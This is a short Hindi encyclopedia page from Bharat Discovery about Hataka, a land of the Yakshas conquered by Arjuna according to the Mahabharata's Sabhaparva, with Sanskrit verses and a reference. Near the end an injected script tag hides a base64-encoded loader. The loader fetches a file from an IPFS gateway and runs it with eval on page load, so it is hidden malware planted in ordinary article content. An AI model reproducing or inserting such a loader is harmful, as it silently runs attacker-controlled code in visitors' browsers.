हाटक

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 14:18, 16 जून 2013 का अवतरण (''''हाटक''' नामक एक देश का उल्लेख महाभारत, [[सभापर्व महा...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

हाटक नामक एक देश का उल्लेख महाभारत, सभापर्व[1] में हुआ है, जिसके इसे यक्षों का देश कहा गया है।

  • इस देश पर उत्तर दिशा की दिग्विजय के प्रसंग में अर्जुन ने विजय प्राप्त की थी-

"तं जित्वा हाटकं नाम देशं गुह्मकरक्षितम्, पाकशासनिरव्यग्रः सहसैन्यः सभसदत्।"

"सरोमानसामासाद्यहाटकानभितः प्रभु, गंधर्वरक्षितं देशमजयत् पंडवस्ततः"[2]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

ऐतिहासिक स्थानावली से पेज संख्या 1018| विजयेन्द्र कुमार माथुर | वैज्ञानिक तथा तकनीकी शब्दावली आयोग | मानव संसाधन विकास मंत्रालय, भारत सरकार

संबंधित लेख